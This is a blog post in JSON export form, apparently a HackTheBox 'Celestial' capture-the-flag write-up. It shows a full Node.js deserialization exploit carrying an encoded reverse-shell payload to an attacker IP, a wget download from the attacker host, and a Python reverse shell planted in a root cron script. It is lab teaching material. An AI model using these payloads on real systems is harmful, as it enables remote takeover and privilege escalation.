{"id":85,"date":"2018-08-25T15:00:27","date_gmt":"2018-08-25T15:00:27","guid":{"rendered":"https:\/\/zineausa.com\/blog\/?p=85"},"modified":"2018-08-24T03:07:14","modified_gmt":"2018-08-24T03:07:14","slug":"hackthebox-celestial-writeup","status":"publish","type":"post","link":"https:\/\/zineausa.com\/blog\/2018\/08\/hackthebox-celestial-writeup\/","title":{"rendered":"Hackthebox \u2013 Celestial Writeup"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/DXsCcaTXkAAJLYl.jpg\" alt=\"\" width=\"657\" height=\"227\" class=\"alignnone size-full wp-image-102\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/DXsCcaTXkAAJLYl.jpg 657w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/DXsCcaTXkAAJLYl-600x207.jpg 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/DXsCcaTXkAAJLYl-300x104.jpg 300w\" sizes=\"auto, (max-width: 657px) 100vw, 657px\" \/><br \/>\nThis is a writeup for the Celestial machine on hackthebox.eu!<\/p>\n<p>We first enumerate for open ports as usual, with the nmap scan:<br \/>\n<code>nmap -sC -sV -Pn 10.10.10.85<\/code><\/p>\n<p>Ok&#8230; port 3000 is open.. let&#8217;s try to browse there:<\/p>\n<p>10.10.10.85:3000<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/browser.png\" alt=\"\" width=\"1920\" height=\"1080\" class=\"alignnone size-full wp-image-86\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/browser.png 1920w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/browser-600x338.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/browser-300x169.png 300w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/browser-768x432.png 768w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/browser-1024x576.png 1024w\" sizes=\"auto, (max-width: 1920px) 100vw, 1920px\" \/><\/p>\n<p>404 is on the page.. hmmm. ctrl+u<\/p>\n<p>whoa.. refreshing the page changed it: hey dummy 2+2 is 22 now shows up<\/p>\n<p>We power up burpsuite and take a look..<\/p>\n<p>We get a weird looking cookie:<br \/>\n<code>eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D<\/code><\/p>\n<p>Let&#8217;s decode from URL:<br \/>\n<code>eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==<\/code><\/p>\n<p>Now now one more time from Base64:<br \/>\n<code>{\"username\":\"Dummy\",\"country\":\"Idk Probably Somewhere Dumb\",\"city\":\"Lametown\",\"num\":\"2\"}<\/code><\/p>\n<p>Interesting.. If I push through a random cookie we get:<br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/Screenshot-from-2018-07-24-01-04-53.png\" alt=\"\" width=\"810\" height=\"348\" class=\"alignnone size-full wp-image-91\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/Screenshot-from-2018-07-24-01-04-53.png 810w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/Screenshot-from-2018-07-24-01-04-53-600x258.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/Screenshot-from-2018-07-24-01-04-53-300x129.png 300w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/Screenshot-from-2018-07-24-01-04-53-768x330.png 768w\" sizes=\"auto, (max-width: 810px) 100vw, 810px\" \/><\/p>\n<p>interesting, looks like a node JS serialize script<\/p>\n<p>googling for exploits gets me <a href=\"https:\/\/opsecx.com\/index.php\/2017\/02\/08\/exploiting-node-js-deserialization-bug-for-remote-code-execution\/\">here <\/a>with a video in the page!<\/p>\n<p>we download the git package by using <\/p>\n<p><code>git clone https:\/\/github.com\/ajinabraham\/Node.Js-Security-Course\/blob\/<\/code><\/p>\n<p>Then we generate the reverse shell by using the following command with our IP and port<\/p>\n<p><code>python nodejsshell.py 10.10.16.62 7734<\/code><\/p>\n<p>this is what comes out:<\/p>\n<p><code>eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,54,46,54,50,34,59,10,80,79,82,84,61,34,55,55,51,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))<\/code><\/p>\n<p>now we generate the serialized payload according to the website:<br \/>\n<code>{\"rce\":\"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,54,46,54,50,34,59,10,80,79,82,84,61,34,55,55,51,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()\"}<\/code><\/p>\n<p>re-encode to base 64:<br \/>\n<code>eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IGV2YWwoU3RyaW5nLmZyb21DaGFyQ29kZSgxMCwxMTgsOTcsMTE0LDMyLDExMCwxMDEsMTE2LDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzOSwxMTAsMTAxLDExNiwzOSw0MSw1OSwxMCwxMTgsOTcsMTE0LDMyLDExNSwxMTIsOTcsMTE5LDExMCwzMiw2MSwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEsNDAsMzksOTksMTA0LDEwNSwxMDgsMTAwLDk1LDExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5LDQxLDQ2LDExNSwxMTIsOTcsMTE5LDExMCw1OSwxMCw3Miw3OSw4Myw4NCw2MSwzNCw0OSw0OCw0Niw0OSw0OCw0Niw0OSw1NCw0Niw1NCw1MCwzNCw1OSwxMCw4MCw3OSw4Miw4NCw2MSwzNCw1NSw1NSw1MSw1MiwzNCw1OSwxMCw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw2MSwzNCw1Myw0OCw0OCw0OCwzNCw1OSwxMCwxMDUsMTAyLDMyLDQwLDExNiwxMjEsMTEyLDEwMSwxMTEsMTAyLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsM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zNCw2OCwxMDUsMTE1LDk5LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMzQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDExMSwxMTAsNDAsMzksMTAxLDExNCwxMTQsMTExLDExNCwzOSw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsMTAxLDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTAxLDExNiw4NCwxMDUsMTA5LDEwMSwxMTEsMTE3LDExNiw0MCw5OSw0MCw3Miw3OSw4Myw4NCw0NCw4MCw3OSw4Miw4NCw0MSw0NCwzMiw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMTI1LDEwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDU5LDEwKSl9KCkifQ==<\/code><\/p>\n<p>nooow we paste it back into the repeater which the request now looks like:<br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/Screenshot1.png\" alt=\"\" width=\"1920\" height=\"1080\" class=\"alignnone size-full wp-image-88\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/Screenshot1.png 1920w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/Screenshot1-600x338.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/Screenshot1-300x169.png 300w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/Screenshot1-768x432.png 768w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/Screenshot1-1024x576.png 1024w\" sizes=\"auto, (max-width: 1920px) 100vw, 1920px\" \/><\/p>\n<p>Press go on the repeater.<\/p>\n<p>we have a shell!<br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/Screenshot-from-2018-07-24-01-35-02.png\" alt=\"\" width=\"1920\" height=\"1080\" class=\"alignnone size-full wp-image-96\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/Screenshot-from-2018-07-24-01-35-02.png 1920w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/Screenshot-from-2018-07-24-01-35-02-600x338.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/Screenshot-from-2018-07-24-01-35-02-300x169.png 300w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/Screenshot-from-2018-07-24-01-35-02-768x432.png 768w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/Screenshot-from-2018-07-24-01-35-02-1024x576.png 1024w\" sizes=\"auto, (max-width: 1920px) 100vw, 1920px\" \/><\/p>\n<p>cd Documents<br \/>\nls<br \/>\nfind user.txt, we have owned user!<br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/usert.png\" alt=\"\" width=\"359\" height=\"162\" class=\"alignnone size-full wp-image-94\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/usert.png 359w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/usert-300x135.png 300w\" sizes=\"auto, (max-width: 359px) 100vw, 359px\" \/><\/p>\n<p>K it&#8217;s time to LinEnum:<\/p>\n<p>make a http server:<br \/>\n<code>mkdir www<br \/>\ncd www<br \/>\npython -m SimpleHTTPServer 80<\/code><\/p>\n<p>download LinEnum<\/p>\n<p><code>git clone https:\/\/github.com\/rebootuser\/LinEnum\/<\/code><\/p>\n<p>copy LinEnum.sh into the www folder<\/p>\n<p>go back to the shell and download that file<\/p>\n<p><code>wget 10.10.15.165\/LinEnum.sh<\/code><\/p>\n<p>nothing too crazy, but root is the SU account<\/p>\n<p>we check for cronjobs next run by root:<br \/>\n<code>crontab -l<\/code><\/p>\n<p>*\/30 * * * * nodejs \/home\/sun\/server.js >\/dev\/null 2>&#038;1<\/p>\n<p>This is misleading.. I actually tried to edit the server.js file with a reverse shell and wait for hours&#8230;<\/p>\n<p>it took a lot of digging to figure out to check the syslog by doing:<br \/>\n<code>cat \/var\/log\/syslog<\/code><\/p>\n<p>found this interesting line for a file that runs via root every 5 mins:<br \/>\n<code>Jul 24 10:00:01 sun CRON[5126]: (root) CMD (python \/home\/sun\/Documents\/script.py > \/home\/sun\/output.txt; cp \/root\/script.py \/home\/sun\/Documents\/script.py; chown sun:sun \/home\/sun\/Documents\/script.py; chattr -i \/home\/sun\/Documents\/script.py; touch -d \"$(date -R -r \/home\/sun\/Documents\/user.txt)\" \/home\/sun\/Documents\/script.py)<br \/>\nJul 24 10:00:01 sun CRON[5127]: (sun) CMD (nodejs \/home\/sun\/server.js >\/dev\/null 2>&1)<br \/>\nJul 24 10:00:02 sun CRON[5125]: (CRON) info (No MTA installed, discarding output)<\/code><\/p>\n<p>uploaded and replaced the script.py file with a python reverse shell:<br \/>\n<code>import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.16.62\",7735));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"\/bin\/sh\",\"-i\"]);'<\/code><\/p>\n<p>To make sure it&#8217;s runnable, I executed:<br \/>\n<code>chmod -x script.py <\/code><\/p>\n<p>now lets open the port to listen to port 7735<br \/>\n<code>type nc -lvp 7735<\/code><\/p>\n<p>Wait for a 5 minute interval and viola, we have root.<br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/root.png\" alt=\"\" width=\"741\" height=\"493\" class=\"alignnone size-full wp-image-98\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/root.png 741w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/root-600x399.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/root-300x200.png 300w\" sizes=\"auto, (max-width: 741px) 100vw, 741px\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is a writeup for the Celestial machine on hackthebox.eu! We first enumerate for open ports as usual, with the nmap scan: nmap -sC -sV -Pn 10.10.10.85 Ok&#8230; port 3000 is open.. let&#8217;s try to browse there: 10.10.10.85:3000 404 is on the page.. hmmm. ctrl+u whoa.. refreshing the page changed it: hey dummy 2+2 is [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,6],"tags":[],"class_list":["post-85","post","type-post","status-publish","format-standard","hentry","category-hackthebox","category-writeups"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Hackthebox \u2013 Celestial Writeup - Zinea InfoSec Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zineausa.com\/blog\/2018\/08\/hackthebox-celestial-writeup\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Hackthebox \u2013 Celestial Writeup - Zinea InfoSec Blog\" \/>\n<meta property=\"og:description\" content=\"This is a writeup for the Celestial machine on hackthebox.eu! We first enumerate for open ports as usual, with the nmap scan: nmap -sC -sV -Pn 10.10.10.85 Ok&#8230; port 3000 is open.. let&#8217;s try to browse there: 10.10.10.85:3000 404 is on the page.. hmmm. ctrl+u whoa.. refreshing the page changed it: hey dummy 2+2 is [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zineausa.com\/blog\/2018\/08\/hackthebox-celestial-writeup\/\" \/>\n<meta property=\"og:site_name\" content=\"Zinea InfoSec Blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/zineausa\/\" \/>\n<meta property=\"article:published_time\" content=\"2018-08-25T15:00:27+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/DXsCcaTXkAAJLYl.jpg\" \/>\n<meta name=\"author\" content=\"Zinea\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@ZineaLLC\" \/>\n<meta name=\"twitter:site\" content=\"@ZineaLLC\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Zinea\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/08\\\/hackthebox-celestial-writeup\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/08\\\/hackthebox-celestial-writeup\\\/\"},\"author\":{\"name\":\"Zinea\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#\\\/schema\\\/person\\\/e3c58d4f0650f7fb571c01fcf836b1d0\"},\"headline\":\"Hackthebox \u2013 Celestial Writeup\",\"datePublished\":\"2018-08-25T15:00:27+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/08\\\/hackthebox-celestial-writeup\\\/\"},\"wordCount\":324,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/08\\\/hackthebox-celestial-writeup\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/wp-content\\\/uploads\\\/2018\\\/08\\\/DXsCcaTXkAAJLYl.jpg\",\"articleSection\":[\"HackTheBox\",\"Writeups\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/08\\\/hackthebox-celestial-writeup\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/08\\\/hackthebox-celestial-writeup\\\/\",\"url\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/08\\\/hackthebox-celestial-writeup\\\/\",\"name\":\"Hackthebox \u2013 Celestial Writeup - Zinea InfoSec Blog\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/08\\\/hackthebox-celestial-writeup\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/08\\\/hackthebox-celestial-writeup\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/wp-content\\\/uploads\\\/2018\\\/08\\\/DXsCcaTXkAAJLYl.jpg\",\"datePublished\":\"2018-08-25T15:00:27+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/08\\\/hackthebox-celestial-writeup\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/08\\\/hackthebox-celestial-writeup\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/08\\\/hackthebox-celestial-writeup\\\/#primaryimage\",\"url\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/wp-content\\\/uploads\\\/2018\\\/08\\\/DXsCcaTXkAAJLYl.jpg\",\"contentUrl\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/wp-content\\\/uploads\\\/2018\\\/08\\\/DXsCcaTXkAAJLYl.jpg\",\"width\":657,\"height\":227},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/08\\\/hackthebox-celestial-writeup\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Hackthebox \u2013 Celestial Writeup\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/\",\"name\":\"Zinea InfoSec Blog\",\"description\":\"Cyber Security Resources\",\"publisher\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#organization\",\"name\":\"Zinea LLC\",\"url\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/wp-content\\\/uploads\\\/2018\\\/05\\\/zinea-square.png\",\"contentUrl\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/wp-content\\\/uploads\\\/2018\\\/05\\\/zinea-square.png\",\"width\":876,\"height\":876,\"caption\":\"Zinea LLC\"},\"image\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/zineausa\\\/\",\"https:\\\/\\\/x.com\\\/ZineaLLC\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#\\\/schema\\\/person\\\/e3c58d4f0650f7fb571c01fcf836b1d0\",\"name\":\"Zinea\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/81f66095634a4c974693824dc72cd0db7c7c44910d60dda2d1bf1be275ee107d?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/81f66095634a4c974693824dc72cd0db7c7c44910d60dda2d1bf1be275ee107d?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/81f66095634a4c974693824dc72cd0db7c7c44910d60dda2d1bf1be275ee107d?s=96&d=mm&r=g\",\"caption\":\"Zinea\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Hackthebox \u2013 Celestial Writeup - Zinea InfoSec Blog","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zineausa.com\/blog\/2018\/08\/hackthebox-celestial-writeup\/","og_locale":"en_US","og_type":"article","og_title":"Hackthebox \u2013 Celestial Writeup - Zinea InfoSec Blog","og_description":"This is a writeup for the Celestial machine on hackthebox.eu! We first enumerate for open ports as usual, with the nmap scan: nmap -sC -sV -Pn 10.10.10.85 Ok&#8230; port 3000 is open.. let&#8217;s try to browse there: 10.10.10.85:3000 404 is on the page.. hmmm. ctrl+u whoa.. refreshing the page changed it: hey dummy 2+2 is [&hellip;]","og_url":"https:\/\/zineausa.com\/blog\/2018\/08\/hackthebox-celestial-writeup\/","og_site_name":"Zinea InfoSec Blog","article_publisher":"https:\/\/www.facebook.com\/zineausa\/","article_published_time":"2018-08-25T15:00:27+00:00","og_image":[{"url":"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/DXsCcaTXkAAJLYl.jpg","type":"","width":"","height":""}],"author":"Zinea","twitter_card":"summary_large_image","twitter_creator":"@ZineaLLC","twitter_site":"@ZineaLLC","twitter_misc":{"Written by":"Zinea","Est. reading time":"4 